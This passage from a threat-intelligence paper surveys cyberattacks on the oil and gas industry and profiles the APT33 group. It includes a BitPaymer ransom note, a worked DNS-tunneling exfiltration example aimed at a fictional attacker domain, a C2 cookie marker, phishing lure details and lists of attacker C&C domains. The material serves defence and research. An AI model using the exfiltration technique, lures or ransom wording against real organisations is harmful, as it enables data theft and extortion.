text
stringlengths
8
115k
# Drilling Deep: A Look at Cyberattacks on the Oil and Gas Industry **Feike Hacquebord and Cedric Pernet** The oil and gas industry is faced with a multitude of concerns and risks that may have significant impact on oil and gas production. Extreme weather can have a substantial negative influence on oil production and transportation, leading to high operating costs. Both global and local politics affect the pricing of oil per barrel, thus affecting the profitability of oil companies. Physical attacks are also a problem; just recently, a drone attack on the world’s largest refinery crippled 5% of the world’s global oil supply. All of these different risks have to be mitigated, and at first glance, cyberattacks may seem less urgent to oil and gas companies. However, because of increased automation, the growing connectivity of computer networks, and the increased usage of cloud computing services, companies are more exposed to cybersecurity-related risks. To create a comprehensive security system and protect their assets on all fronts, oil and gas companies should be more aware of current cyberthreats and what they can do to defend themselves against these threats. In this paper, we give an overview of known digital attacks against the oil and gas industry and its supply chain. Current data shows that persistent actors, using relatively simple methods, can cause real harm to companies involved in this industry and even bring about circumstances that can affect world economies. Large-scale cyber intrusions on oil and gas companies are not theoretical scenarios; real-world strikes have been causing damage for years. In August 2012, one of the biggest oil companies in the world suffered from an expansive cyberattack. Tens of thousands of the company’s computer servers were rendered unusable by the crippling wiper malware called Shamoon. Although the supply of crude oil to the world was not affected at the time, the Shamoon attack proved to be a real risk to world economies. This watershed event was caused by destructive, yet relatively simple, malware. Cyberthreats to oil companies seem to become more prevalent and urgent when political tensions rise. Oil companies are targets of cyberattacks that are rooted in political agendas and geopolitical concerns. For example, recent incidents of unrest in the Gulf Region have cascaded into cyberspace. There has been increased interest in malware attacks that target not only the military and defense industry but also the oil and gas industry. This activity has been going on for almost a decade already. Additional destructive attacks on the oil industry continued between 2012 and 2019 with variations of the Shamoon malware and a destructive wiper variant of the so-called StoneDrill malware. In 2018, it was reported that an Italian oil company suffered from a Shamoon wiper attack. This time, a few hundred computer servers were hit. Around the same time, a British oil company reported it had suffered from a security breach caused by a variant of known malware. There are several advanced actor groups or advanced persistent threats (APTs) that target the oil and gas industry. In this paper, we describe some of the attack methods of an actor group that is commonly referred to as APT33 (also identified as Refined Kitten, Magnallium, and Elfin). APT33 is known to aggressively target the oil and gas and aviation industries and their supply chains. In the fall of 2018, we observed that a U.K.-based oil company had computer servers both in the U.K. and India communicating with an APT33 command-and-control (C&C) server. Another European oil company also suffered from an APT33-related malware infection on one of its servers in India for at least three weeks in November and December 2018. We also found that for at least two years, APT33 used the private website of a member of the national defense committee in the senate of a European country to send spear-phishing emails to companies in the supply chain of oil products. Targets also included a water facility that supplied potable water to a U.S. military base. In this paper, we also include our findings on the multiple layers of obfuscation that APT33 puts up to run C&C servers they use in extremely targeted malware campaigns against targets in the Middle East and the U.S. Pawn Storm is another threat actor group that has targeted the oil and gas industry. In particular, we have seen reconnaissance attacks on email and VPN servers of oil and gas companies originating from this group. ## The Infrastructure of a Typical Oil and Gas Company Most of the best understood attacks against the oil industry are initial attempts to break into the corporate networks of oil companies. We will discuss several of these attacks in this paper. At the outset, it is important to understand the complete oil and gas production chain and what risks are involved in those areas. This section will discuss these concerns in detail. The production chain, from exploring oil to producing end products like gasoline for cars, is oftentimes divided into three parts: upstream, midstream, and downstream. Processes that are related to oil exploration and production are generally referred to as upstream. Transportation and storage of crude oil through pipelines, trains, ships, or trucks are referred to as midstream. And downstream is the production of end products. Cyber risks are present in all three categories, but for midstream and upstream, there are few publicly documented incidents. A typical oil company has production sites where crude oil is extracted from wells, tank farms where the oil is stored temporarily, and a transportation system to bring the crude oil to a refinery. Transportation may include pipelines, trains, and ships. After processing in the refinery, different end products like diesel fuel, gasoline, and jet fuel are transported to tank farms and the products are later shipped to customers. A typical gas company also has production sites and a transportation system like pipelines, railroads, and ships. But it also needs compressor stations where the natural gas is compressed to a specific pressure to be ready for transport. The natural gas is transported to a separation plant that separates different hydrocarbon components from natural gas, like LPG and cooking gas. The different gases are later transported to customers using pipelines, trains, and ships. In the whole chain — from oil and gas production to refineries to the several hydrocarbon end products — constant monitoring is crucial for performance measurement, performance improvement, quality control, and safety. Monitoring metrics include temperature, pressure, chemical composition, and detection of leaks. Some oil and gas production sites are in very remote locations where the weather can be extreme. In particular for these sites, communication of the monitored metrics over the air, fixed (optic or copper) lines, or satellite is important. Likewise, remote control of on-site equipment such as valves, pumps, hydraulic and pneumatic control systems, safety instrumented systems (SISs), emergency stop systems, and fire detection equipment are crucial. All of the systems are controlled by software and can be compromised by an attacker. Availability of these systems is key and there is usually no incentive for confidentiality. The communication of both control messages and the monitoring data is oftentimes not encrypted and not even signed for data integrity. This means that there are multiple theoretical attacks possible: sending attacker commands to control systems, injecting commands, changing sensor data, and replay attacks, among others. Fortunately, attackers are not likely to use these methods because the impact is limited by built-in mechanical safety measures that prevent hazardous situations. Also, many of these attacks would require the actor to be close to the oil well or refinery. There are only a few public reports on compromises of industrial control systems (ICSs) in the oil and gas industry, and some that describe attacks against SISs in refineries. The more urgent threats oil and gas companies are facing come from several advanced attacker groups who are focused on this industry. Among these groups are the same actors who usually attack the military and defense industry. These attackers have geopolitical impact and espionage in mind, and in some cases are aiming to deploy destructive attacks. Theft of intellectual property and industrial espionage are dangerous threats to oil companies too. Among valuable intellectual property typically held by these companies are the location of new proven oil reserves that are not in production yet, techniques of effective drilling, and the chemical composition of additives in premium car gasoline. In the succeeding sections, we will discuss the internet-related threats that are relevant to the oil and gas industry. We will also give recommendations for defending oil and gas companies against each threat. ## Threats The biggest threats the oil and gas industry have to worry about are those that have a direct negative impact on the production of their end products. Aside from these, espionage is something the industry has to defend itself against as well. Actors may steal intellectual property through these compromises, and espionage can also be the starting point of destructive attacks or sabotage that may impact companies’ product supply. ### Infrastructure Sabotage An important threat the oil and gas industry is facing is infrastructure sabotage. The initial action to sabotage infrastructure is the same as that for a usual advanced targeted attack: reconnaissance. The attacker first needs to collect information about the target and then use this information to compromise systems or computer servers on the targeted network. The attacker does not need to maintain access to the system. The attacker may also try to remove all evidence of compromise while proceeding with the sabotage. Sabotage in this context can be done via different actions: - Altering the behavior of software - Deleting or wiping off specific content to disrupt the activity of the company - Deleting or wiping off as much content as possible on every accessible machine Some examples of these kinds of sabotage operations have been reported broadly, the most famous being the Stuxnet case. Stuxnet was a piece of self-replicating malware that contained a very targeted and specific payload. Most infections of the worm were located in Iran and analysis revealed that it was designed to exclusively target the centrifuge in the uranium enrichment facility of the Natanz Nuclear Plant in the country. The malware targeted Siemens’ WinCC/PCS 7 SCADA control software specifically, and only when it fit certain precise parameters in their configuration. It destroyed several nuclear enrichment centrifuges, which lowered the productivity of the nuclear plant. Despite the fact that Stuxnet was developed with one particular goal in mind, it did spread further within the oil industry (even without launching its dedicated payload). Another example is the malware Industroyer (aka Crashoverride). This malware contains specific payloads for ICSs used in electric substations, although it can be refitted to target other types of critical infrastructure. In addition to these payloads, it contains a data wiper part that can be triggered to erase data and make systems unbootable. The BlackEnergy malware is also of note. This malware evolved through time, from being a trojan to being a new piece of malware delivering a payload known as KillDisk. It targeted the power facility Prykarpattya Oblenergo and other electricity distribution companies in Ukraine. Research by Trend Micro also revealed that it targeted a large Ukrainian mining company and a large Ukrainian railway operator, showing that such modular malware could be used against different industries. There is also the Triton malware, which was built to interact with Triconex SIS controllers and could, among other features, shut them down. The Shamoon (aka Disttrack) campaigns, which had at least three known waves of attack from 2012 to 2018, on oil and gas companies have been incredibly aggressive. The biggest target of these attacks, a Saudi oil company, had about 30,000 computers rendered unbootable by the destructive malware. The impact was significant since a lot of the oil company’s computer servers were disrupted for weeks. However, the world oil supply was essentially not affected by these attacks. While these examples show strong developer skills in terms of building specific malware, special malware is not always needed for attacks to be successful. Any remote access tool that could allow an attacker to gain access to a human-machine interface (HMI) for equipment would work. Also, there are cases when no outside attack is needed, as when the threat comes from within the company. The next section deals with that danger: the insider threat. ### Insider Threat An insider — in most cases, a disgruntled employee seeking revenge or merely wanting to make easy money selling valuable data to competitors — can commit sabotage operations. Although there are several factors that can motivate a person to turn against their employer, revenge is the more dangerous type since the individual could not care less which part of the company is targeted. Blackmail can also be a motivation for an inside job. An insider may do the following: - Altering data to create problems, misuse access, or cause damage - Deleting or destroying data from corporate servers, shared project folders, or any location the insider has access to - Stealing intellectual property for the insider’s own use or for a competitor’s - Leaking sensitive corporate documents to third parties or competitors, or even uploading them to the internet Defense against insider threats is very complex, since insiders generally have access to a lot of data. In addition, unlike an external attacker, an insider does not need months to know the internal network of the company — the insider probably already has knowledge of the inner workings of the organization. With that knowledge, the insider probably knows how to inflict damage to the company’s business more than any external attacker. Careful monitoring of user activity can bring this kind of activity to light, but the task is still very difficult. It might be difficult to distinguish the usual daily operations from sabotage actions — for example, simple actions like modifying a document or deleting a file could be part of a sabotage attempt. ### Espionage and Data Theft While sabotage of the daily operations is among the most damaging attacks on the oil and gas industry, data theft and espionage are important threats the industry needs to be aware of as well. As mentioned above, data theft and espionage can be the starting point of a larger destructive attack. Attackers often need specific information before attempting further action. Obtaining sensitive data like well drilling techniques, data on suspected oil and gas reserves, and special recipes for premium products can also translate to monetary gain for attackers. In the next sections, we will discuss some of the advanced espionage and theft techniques and security concerns that affect the oil and gas industry. ### DNS Hijacking DNS hijacking is a particularly dangerous attack used by a limited set of advanced attackers. The aim of DNS hijacking may include getting access to the corporate VPN network or corporate emails of governments and companies. This is particularly relevant for the oil industry, as we have seen a number of oil companies being targeted by advanced attackers who probably have certain geopolitical goals in mind. In DNS hijacking, the DNS settings of a domain name are modified by an unauthorized third party. The third party can, for instance, add an additional entry to the zone file of a domain or alter the resolution of one or more of the existing hostnames. The simplest things the attacker can do are committing vandalism (defacement), leaving a message on the hijacked website, and making the website unavailable. This will usually be noticed quickly and the result may just be reputational damage. However, there are more dangerous attacks possible, with a much bigger impact: theft of corporate credentials, interception of emails, VPN access to the corporate network, and launching a watering hole attack. Ultimately, these may even lead to lasting access to the victim’s network by an unauthorized third party. An actor can, for example, use the (short) time window of the DNS hijack to send internal malware-ridden emails using credentials intercepted during the hijack. DNS hijacking attacks can happen by targeting registrants of a domain name. But many registrars and DNS providers have two-factor authentication in place for their customers. Two-factor authentication raises the bar significantly for a successful attack. More dangerous actors may use different tactics that the domain owner cannot easily repel. One possible scheme involves an actor not attacking the registrant of a domain directly, but instead the registrar of the domain or even registries. More specifically, the actor can try to compromise the registrar’s credentials for the management system that is used to push changes on domains to registries and DNS root servers. Once the registrar is compromised, the actor can push specific changes for the domains that are under control of the registrar. For example, the actor can change the legitimate authoritative nameservers to other nameservers under the actor’s control. Once that has succeeded, the actor can point domains to a foreign IP they control. We have seen these attacks targeting mail servers of government agencies in particular, and there are serious possible compromise scenarios. When the attacker is also able to create a valid, new SSL certificate of the hijacked domain, the attacker can even intercept SSL connections to the corporate servers and potentially intercept corporate credentials that are sent to a hijacked version of the IMAP server. To create an SSL certificate of a domain the attacker doesn’t own, the attacker usually has to show ownership of the domain. When the attacker is able to intercept emails to the domain owner, the attacker may be able to fool a certificate authority and pose as the legitimate owner of a domain. With that, a valid SSL certificate may be issued. There are ways to raise the bar for DNS hijack attacks. First of all, the use of multi-factor authentication will make attacks more difficult, though not impossible. As explained in a talk by Bill Woodcock, the executive director of Packet Clearing House, using Domain Name System Security Extensions (DNSSEC) validation for all email clients also helps. In the event that the IMAP server domain gets hijacked, the email clients won’t make a connection to the foreign IP address as the DNSSEC validation fails. In his talk, Woodcock says the use of mobile device management (MDM) is advised as well, to force mobile users who are not in the office to use the right recursive DNS servers that implement DNSSEC validation. While most DNS hijacking attacks have happened against government organizations, some oil companies have been affected too. Most likely, these oil companies fell victim to politically motivated attacks such as the incidents that happened in 2018 and 2019 in the Middle East. These attacks might have resulted in interception of emails, interception of corporate credentials, temporary access to the corporate VPN, and even semi-persistent access to the corporate network. The risk of DNS hijacking can be further reduced by a couple of additional measures. First, a script can check the DNS records of the critical domains and hostnames of an organization frequently — every minute or as often as may be desired. By walking down the whole DNS hierarchy for crucial domain names starting from the root servers, the script can quickly notice any unauthorized changes in the chain. If this monitoring is done frequently enough, the potential damage can be limited significantly. Once an organization has become a victim of a DNS hijack attack and the DNS settings have been restored to normal, it is important to note that crucial information might have been stolen, such as corporate credentials. Obviously, passwords should be reset. Also if, for example, the webmail or mail domain was hijacked, that might have just been a way for the attacker to get into systems and get persistent access to the network with malware or gain unauthorized VPN access. In that case, a full security sweep of the corporate network will be necessary. DNS hijack attacks can also be used to plant an exploit on a hijacked website with an audience the attacker is interested in. For example, we saw that during an attack in 2019 the personal blog of a prolific member of an American think tank was hijacked. While we were unable to reproduce what happened exactly on the hijacked domain, an obvious case scenario would be a watering hole attack. This watering hole could then infect the readers of the blog during the DNS hijack. ### Attacks on Webmail and Corporate VPN Servers Webmail is a very useful tool for individuals who want to have access to their emails while on the road. The same holds for file-sharing services from third-party service providers with which employees can work together on a project. However, these services increase the attack surface. For example, a webmail hostname might get DNS-hijacked or hacked because of a vulnerability in the webmail software. Webmail and file-sharing and collaboration platforms can be compromised in credential-phishing attacks. A well-prepared credential-phishing attack can be quite convincing, as when an actor registers a domain name that resembles the legitimate webmail hostname, or when an actor creates a valid SSL certificate and chooses the targets within an organization carefully. The risk of webmail and third-party file-sharing services can be greatly reduced by requiring two-factor authentication (preferably with a physical key) and corporate VPN access to these services. However, VPN credentials and one-time passwords can be phished as well. There have also been critical vulnerabilities in VPN software and some webmail software that could give third parties unauthorized access. It is very important to patch these vulnerabilities as soon as security updates are ready to be installed. We have seen that advanced attackers scan VPN servers and webmail servers, hunting for exploitable vulnerabilities. In September 2019, an APT actor scanned servers running specific VPN software, including those in a state-owned oil company. And in October 2019, Pawn Storm (aka APT28 or Sofacy) scanned the mail servers of several oil companies in the U.K. ### Data Leaks Data leaks have always been problematic for companies across industries. The oil and gas industry, in particular, is very competitive and almost any kind of leaked information can be beneficial to a competitor. Data leaks can also cause substantial damage to a company’s reputation. It has been said for decades that data should be carefully handled inside companies, yet this is not enough. Outside monitoring should be put in place as well. What happens when data that is carefully handled internally is sent to an outside partner? What happens when a company uses unfamiliar tools and software? What happens when a company does not know that the software shares files on remote servers? And what happens when those files are stored on unsecure external networks, in some cases becoming freely accessible even to anyone who knows the data is there? Needless to say, these are serious issues that should be considered by all companies. In the course of our research, we easily found dozens of sensitive documents related to the oil industry online. One way of finding these documents is by using specially crafted Google queries, called Google Dorks. We will not show any of these search engine queries in this research paper since the matter is very sensitive and we do not want to help cybercriminals. Some redacted examples of data we could retrieve are below. Another way to find such content is to hunt for data on public services like Pastebin, an online service that allows anyone to copy and paste any text-based content and store it there, privately or publicly. Another source of data is public sandboxes meant for analysis of suspicious files. Users can mistakenly send legitimate documents to these sandboxes for analysis. Once uploaded, these documents can be parsed or downloaded by third parties. These are several common security lapses that companies should correct in regard to document storage: - Documents are stored on a web server in a folder that is world-readable. - Documents are stored on a file server without proper access control. - Documents are backed up on an unsecure server accessible to anyone. While it is not a problem to see official documents that were meant for publication online in different locations, it becomes problematic when the documents are internal only or require a security clearance. Those document leaks can affect the “victim” company in several ways: - Affects one or several company employees - Affects the company’s public image - Leaks nondisclosure agreements (NDAs) or contracts signed between a company and a third party - Leaks information that can be leveraged by competitors - Leaks information that can be used legally against the company - Leaks information that can harm long-term projects or road maps This is particularly significant in the energy industry, where most information is usually kept internal. An example is a full document we recently found sent from a laboratory to an oil company, providing the exact location, ship name, and results for particular oil particles hunting. Information on a potential contamination is confidential and sensitive for any company in the oil and gas industry and should not be publicly available. ### External Emails While emails are generally well protected inside companies, external emails cannot be controlled the same way. Employees regularly send emails to external addresses, hence some sensitive internal content ending up outside the company’s purview. Even worse, sensitive information can be copied to unsecure backup systems or stored locally on personal computers without standard corporate security protocols, which makes it easier for attackers to get hold of the information. Once a computer is compromised, an attacker can get the emails and use them in different ways to harm a company. For example, an actor could leak them on public servers or services like Pastebin. Even to someone not knowledgeable about the industry, it becomes clear that interesting information is found when an email starts by mentioning a level of confidentiality. ### Defending Organizations Against Data Leaks A company can identify leaked documents only if it has solid knowledge of all internal documents. Therefore, any important document inside the company should be watermarked in a way that makes it discoverable on the internet, since constantly monitoring for specific marks makes finding leaked documents easier. Google Dorks based on documents’ characteristics and contents — it can be as simple as searching for specific names associated with the word “confidential,” for example — and searches on online services like Pastebin should be done daily. The frequency is necessary since companies should be as reactive as possible when a document appears in public or somewhere where it should not be. Data leaks will happen at some point, whether by “bad handling or mistakes” or by malicious exposure. The important thing is to find them before someone with bad intentions does, and have them removed quickly. One of the first steps in mitigating the risk of data leaks is to make a list of keywords that are critical to a company. Specific watermarks of sensitive documents should also be collected. Automated search queries for these keywords and watermarks on the internet can then be set up with a script. Even better, a company can outsource all monitoring and data leak prevention to an external service provider that specializes in preventing and mitigating data leaks. ### Ransomware In the past, cybercriminals were spreading ransomware wherever they could, mostly using spam botnets to try to infect as many machines as possible. While it remains a serious threat to any individual who stores data on their computer, ransomware has become an even larger threat as ransomware actors have been targeting companies specifically, with attacks that may have a big impact on daily operations. Targeting individuals is fairly easy for cybercriminals, even for those with a low level of computer knowledge. The easiest business model consists of subscribing to ransomware-as-a-service (RaaS) offers on underground cybercrime marketplaces. Any fraudster can buy such a service and start delivering ransomware to thousands of individuals’ computers by using exploit kits or spam emails. Targeting companies and organizations takes more effort. Infecting a company with ransomware the same way it is done with individuals is inefficient because the goal is not about infecting a few computers. Typically, an actor will try to disrupt a whole company. To this end, the attacker needs to spend time “profiling” its target entity, collecting information about it, much in the same way as the attacker would do in a targeted attack. That reconnaissance phase is necessary for the attacker to get to the next stage: compromising one or several of the target computers, generally via specially tailored spear-phishing emails or by exploiting an unsecure Remote Desktop Protocol (RDP) connection. Once inside a network, the attacker will try to move laterally and then carefully choose a moment to drop ransomware either on selected servers or massively across the network. The end goal is to render the company unable to operate its normal business or unable to recover its lost data (for example, by tampering with the backup system), so that it is more likely to pay the ransom. We found that a U.S. oil and natural gas company was hit by ransomware, infecting three computers and its cloud backups. The computers that were targeted contained essential data for the company, and the estimated total loss was more than US$30 million. While we do not have additional details on this case, we believe the attackers did plan this attack carefully and were able to target a few strategic computers rather than hitting the company with a massive infection. More recently, we discovered a variant of the ransomware family BitPaymer that had targeted a U.S. company specializing in providing services for oil well drilling. The actors behind BitPaymer typically use spear phishing to infect their targets with initial malware, before spending time moving laterally and compromising the network further. They plant the ransomware in specific spots in the network and launch the malware, for example, on a Saturday night. They are efficient and dangerous, and they know how to take advantage of the absence of IT people during weekends or holidays to infect selected machines and encrypt the contents. The ransom message of BitPaymer is the same for every target, except for the first line, where the company name is written, and the email addresses for reaching the fraudsters. ``` Hello XXX. Your network was hacked and encrypted. No free decryption software is available on the web. Email us at [email protected] (or) [email protected] to get the ransom amount. Keep our contacts safe. Disclosure can lead to impossibility of decryption. Please, use your company name as the email subject. ``` ### Ever-changing Malware Malware is an important part of targeted threat actors’ arsenal. Different kinds of malware serve different purposes and have different ways of functioning and communicating between the infected computers and the C&C servers. Threat actors targeting oil and gas companies for cyberespionage definitely want to stay undetected inside their target’s network. Compromising and planting malware inside a target network is just the initial stage for attackers. Yet for a number of reasons, these actions can be detected after a while or even just deleted automatically by any antivirus or security solution. To avoid being kicked off from the network when the only available access is via their malware, attackers generally choose to regularly update their malware. And if possible, they use different malware families so that they have more than one way to access the compromised network. Malware updates can be functionality or code updates, or sometimes just slight modifications for avoiding detection. Cybercriminals working with malware often use online testing platforms like VirusTotal to check whether their files are detected by different security products. Some threat actors run their own testing platforms for better operational security reasons. They do not send their files to any third party and they want to be sure the files are not known to security companies before a campaign starts to spread them in the wild. Once a file has a “close to zero” or even zero detection rate, it becomes “FUD” (fully undetectable) and it can be used in an attack. In order to alter the malware well enough to become undetectable, attackers often use crypter software, which refers to programs that modify and obfuscate binaries to escape detection. Attackers can also note the exact security products used by the target, and only consider bypassing that one and not care about others. In the next sections, we will discuss some of the most common malware types and tools that are used against the oil and gas industry. ### Webshells Webshells are tiny files, generally written in PHP, ASP, or JavaScript language, that have been fraudulently uploaded to a web server belonging to a targeted entity. An attacker just needs to browse to it to get access to the web server. Most common options for webshells provide upload or download file operations, command line (shell), and dump databases. Webshells can also be tiny files connecting back to a server that listen for communications. Threat actors sometimes use webshells to ease their operations, generally at an early infection stage. They can use webshells to: - Download or upload files to the compromised web server. - Run other tools (such as credential stealers). - Maintain persistence on the compromised infrastructure. - Bounce to other servers and move on with more compromises. - Steal information. Threat actors that target the oil industry, like OilRig, have typically used webshells (TwoFace, DarkSeaGreenShell, possibly more) to serve most of these purposes. ### Cookies Cookies are small files sent from web servers and stored in the browser of an internet user. They serve different legitimate purposes, such as allowing a browser to know if the user is logged in or not (as in the case of authentication cookies) or storing stateful information (like items in shopping carts). Some variants of the backdoor BKDR64_RGDOOR used cookies to handle communications between the malware and its C&C server. They used the string “RGSESSIONID=” followed by encrypted content. Careful cookie field monitoring in HTTP traffic can help detect this kind of activity. ### DNS Tunneling While the most common way for malware to communicate with its C&C server is by using the HTTP or HTTPS protocol (usually to evade firewall rules or filtering), some attackers allow their malware to communicate via DNS tunneling. The technique is not new and has its limitations, which is why it is not seen quite often in APT attacks. But some actors do like using it, such as OilRig and GreenBug. DNS tunneling in this context exploits the DNS protocol to transmit data between the malware and its controller, via DNS queries and response packets. The DNS client software (the malware) sends data, generally encoded in some ways, prepended as the hostname of the DNS query. As an example, the malware might want to send a username “prouser1” to the controller. The malware encodes this username in Base64 format: ``` prouser1 => cHJvdXNlcjE ``` The malware then sends the following DNS query: ``` cHJvdXNlcjE.c2serverdomainname.com ``` In this fictional example, the domain c2serverdomainname.com is owned and controlled by the attacker, and points its nameserver (NS) records toward the server where DNS tunneling server software (the controller) is running. The server can then reply to the DNS query with different kinds of answers. Data can, for example, be sent to the malware in the answered query via the CNAME record, or in the TXT field, or others. Real examples from the wild have affected the oil and gas industry. The Alma communicator DNS tunneling trojan used by OilRig uses encryption to send data back and forth via DNS tunneling. The ISMDoor malware also uses similar techniques. The limitation of the DNS tunneling technique resides in the length of data that can be transmitted per request. In the best case, via the TXT record, for example, only 255 bytes can be sent at a time. If the attacker needs to send more, the attacker needs to use several DNS queries. Careful examination of the DNS requests sent from an infrastructure can be very effective in detecting DNS tunneling. ### Email as a Communication Channel It is possible for an attacker to use email as a communication channel between the attacker’s malware and its controller. While it might sound very amateurish for senior computer security professionals because this method has typically been used by novice malware writers, it can still be seen in the wild. An APT attacker might want to use this method mostly for two reasons: email services, especially external online services, might be less monitored than other services in the compromised network, and it might provide an additional level of anonymity depending on the email service provider that is used. In a typical scenario, the malware logs on the email service and reads emails from the inbox, which contain instructions from the malware controller. It can also use the service to send data back. One example of this modus operandi from a threat actor targeting the oil and gas industry is Kimsuky. This threat actor actively used this method with the malware BKDR_KIMSUK.A, which used a free email service to communicate. It is difficult to detect such behavior on the network, since legitimate users are generally allowed to use free email services and traffic is often SSL-encrypted. ### Zero-day Exploits It is still a popular thought that all advanced targeted attacks use zero-day exploits and sophisticated code to infect corporate computers and gain full access to the network infrastructure of a company. But this is not what usually happens in the real world of targeted attacks. Oftentimes, attackers limit themselves to the use of known exploits, and they use zero-day exploits only when really necessary. It actually does not take much effort to compromise most networks, gain access, and exfiltrate information with standard malware and tools. Of course, some threat actors have more weapons than others, and those weapons may include zero-day exploits. The Stuxnet case has been an interesting one in this respect, with the use of four different zero-day exploits. No other known attack has been seen exploiting so many unpatched and unknown vulnerabilities — it has shown an extraordinary level of sophistication. Two years before Stuxnet, another malware from the Equation group was using two of the four zero-day exploits that Stuxnet used. The Equation group targeted many different sectors, including oil and gas, energy, and nuclear research. It showed advanced technical capabilities, including infecting the hard drive firmware of several major hard drive manufacturers, which had seemed impossible without the firmware source code. Other cases affecting the oil and gas industry have been reported by the media. The Reaper threat actor, for example, used a zero-day exploit abusing Adobe Flash, and also sometimes exploited recently patched vulnerabilities. Also, just recently, an actor group was actively scanning for vulnerable VPN servers, including VPN servers of oil companies. ### Mobile Phone Malware The use of mobile phone malware has increased slowly in recent years. While it is mostly used for cybercrime, it can also be used for espionage. The Reaper threat actor has developed Android malware, which we detect as AndroidOS_KevDroid. This malware has several functionalities, including starting video or audio recording, downloading the address book from the compromised phone, fetching specific files, and reading SMS messages and other information from the phone. The MuddyWater APT group has used several variants of Android malware (AndroidOS_Mudwater.HRX, AndroidOS_HiddenApp.SAB, AndroidOS_Androrat.AXM and .AXMA) posing as legitimate applications. These malware variants have the capability to completely take control of an Android phone, spread infecting links via SMS, and steal contacts, SMS messages, screenshots, and call logs. In most cases, mobile phone malware poses as known legitimate software as a lure to infect unsuspecting users. For example, users may think they are downloading the latest version of Signal or Telegram while they are in fact being infected by malware. ### Bluetooth Bluetooth can also be exploited by threat actors. And one of the most interesting recent discoveries in this regard is the USB Bluetooth Harvester. It is very uncommon, but it highlights the need for organizations to stay up to date on threat actor developments. Reaper has deployed malware (TrojanSpy.Win32.BLUEHARV.A) that steals Bluetooth devices’ information. When it is run, it collects basic information on connected Bluetooth devices, such as the device names, addresses, classes, and a few additional status flags. ### Cloud Services There are many ways for attackers to try to render the traffic between their malware and the C&C server undetectable. One of these is to use legitimate cloud services to handle the communications between the malware and the controller. The Slub malware, for example, has been used for APT attacks. While it has not affected the oil and gas industry yet, it bears mentioning here as its use of GitHub, a software development platform, and Slack, a collaborative messaging service, for C&C communication can easily be copied by other threat actors. More interestingly, MuddyWater has used Telegram, a messaging service with end-to-end encryption, to exfiltrate data from one of its Android malware variants. Another of MuddyWater’s malware variants has used the API for the online storage service Dropbox. The malware stores all commands from the controller and their results in the cloud. C&C connections to cloud services are difficult to detect since they are using normal services that any employee can use for legitimate purposes. One way to prevent attacks that take advantage of cloud services is to blacklist all of these services. However, this is likely to reduce the company’s efficiency and generate discomfort for employees. ## Case Study: APT33 In this section, we will focus on some aspects of an actor group called APT33. APT33 is generally considered to be responsible for many spear-phishing campaigns targeting the oil industry and its supply chain. A lot has been published about APT33 already, but we will highlight some facts that were not published before the release of our earlier blog post. In particular, we will describe what measures APT33 takes to obscure a dozen live C&C servers that have been used in extreme narrow targeting since about 2016. We will also list IP addresses that have been used by APT33 to do reconnaissance and botnet management since 2018. APT33 is known to target not only the oil supply chain but also the aviation industry and military and defense companies. We have observed that the group has had some limited success in infecting targets related to oil, the U.S. military, and U.S. national security. For example, we found that in 2019 APT33 was able to infect a U.S. company providing supporting services to national security. APT33 has also compromised oil companies in Europe and Asia. A large oil company with a presence in the U.K. and India had concrete APT33-related infections in the fall of 2018. Some of the IP addresses of the oil company communicated with the C&C server times-sync.com, which hosted a so-called Powerton C&C server from October to December 2018, and then again in 2019. A computer server in India owned by a European oil company communicated with a Powerton C&C server used by APT33 for at least three weeks in November and December 2019. We also observed that a large U.K.-based company offering specialized services to oil refineries and petrochemical installations was likely compromised by APT33 in the fall of 2018. APT33 has attacked the supply chain of the oil industry broadly. For about two years, multiple spear-phishing campaigns of APT33 were sent from a compromised private website of a politician who had a seat in the defense committee of the senate in a European country. The targets of these campaigns included companies that operated oil tankers, IT companies that specialized in the oil industry, a publisher of an online magazine that covered news on oil, and several manufacturers of valves and other industrial equipment. APT33 has also been targeting a water facility that supplies potable water to a U.S. military base for several years. But recent attack waves of APT33 indicate that the actor group has been targeting companies more narrowly. APT33’s best-known infection technique has been using social engineering through emails. It has been using the same type of lure for several years: a spear-phishing email containing a job opening offer that may look quite legitimate. There have been campaigns involving job openings in the oil and aviation industries. | Date | From Address | Subject | |------|--------------|---------| | Dec. 31, 2016 | [email protected] | Job Opportunity | | April 17, 2017 | [email protected] | Vacancy Announcement | | July 17, 2017 | [email protected] | Job Opening | | Sept. 11, 2017 | [email protected] | Job Opportunity | | Nov. 20, 2017 | [email protected] | Job Opening | | Nov. 28, 2017 | [email protected] | Job Opening | | March 5, 2018 | [email protected] | Job Opening | | July 2, 2018 | [email protected] | Job Opportunity SIPCHEM | | July 30, 2018 | [email protected] | Job Opening | | Aug. 14, 2018 | [email protected] | Job Opening | | Aug. 26, 2018 | [email protected] | Latest Vacancy | | Aug. 28, 2018 | [email protected] | Latest Vacancy | | Sept. 25, 2018 | [email protected] | AramCo Jobs | | Oct. 22, 2018 | [email protected] | Job Opening at SAMREF | The emails contain a link to a malicious .hta file. This .hta file will attempt to download a PowerShell script, which may download additional malware from APT33 so that the group can gain persistence in the network of the target. Some of the malware is quite generic in nature, while the others seem to be used by APT33 alone. The table lists some of the campaigns we were able to recover from data based on feedback from the Trend Micro™ Smart Protection Network™ infrastructure. The company names in the campaigns are not necessarily targets in the campaign, but they are usually part of the social lure used in the campaigns. APT33 is known to be related to the destructive malware called StoneDrill and is possibly related to attacks involving Shamoon, although we don’t have solid evidence for the latter. Besides the relatively aggressive attacks of APT33 on the supply chain, we found that APT33 has been using several C&C domains for small botnets composed of about a dozen bots each. It appears that APT33 has taken special care to make tracking more difficult. The C&C domains are hosted on cloud-hosted proxies. These proxies relay URL requests from the infected bots to back-ends at shared web servers that may host thousands of legitimate domains. These back-ends are protected with special software that detects unusual probing from researchers. The back-ends report bot data back to a dedicated aggregator and bot control server that is on a dedicated IP address. The APT33 actors connect to these aggregators via a private VPN with exit nodes that are changed frequently. Using these VPN connections, the APT33 actors issue commands and retrieve data from the bots. In the fall of 2019, we counted 10 live bot data-aggregating or bot-controlling servers, and we tracked a couple of these servers for months. These aggregators get data from typically very few C&C servers (around one or two). For every unique C&C domain, there are usually only a dozen or fewer victims. | Domain | Date created | |--------|--------------| | oorgans.com | May 28, 2016 | | suncocity.com | May 31, 2016 | | zandelshop.com | June 1, 2016 | | simsoshop.com | June 2, 2016 | | zeverco.com | June 5, 2016 | | qualitweb.com | June 6, 2016 | | service-explorer.com | March 3, 2017 | | service-norton.com | March 6, 2017 | | service-eset.com | March 6, 2017 | | service-essential.com | March 7, 2017 | Actors often use commercial VPN services to hide their whereabouts when administering C&C servers and doing reconnaissance. Aside from VPN services that are available to anyone, we also see that actors use private VPNs they set up for themselves. Setting one up can be easily done by 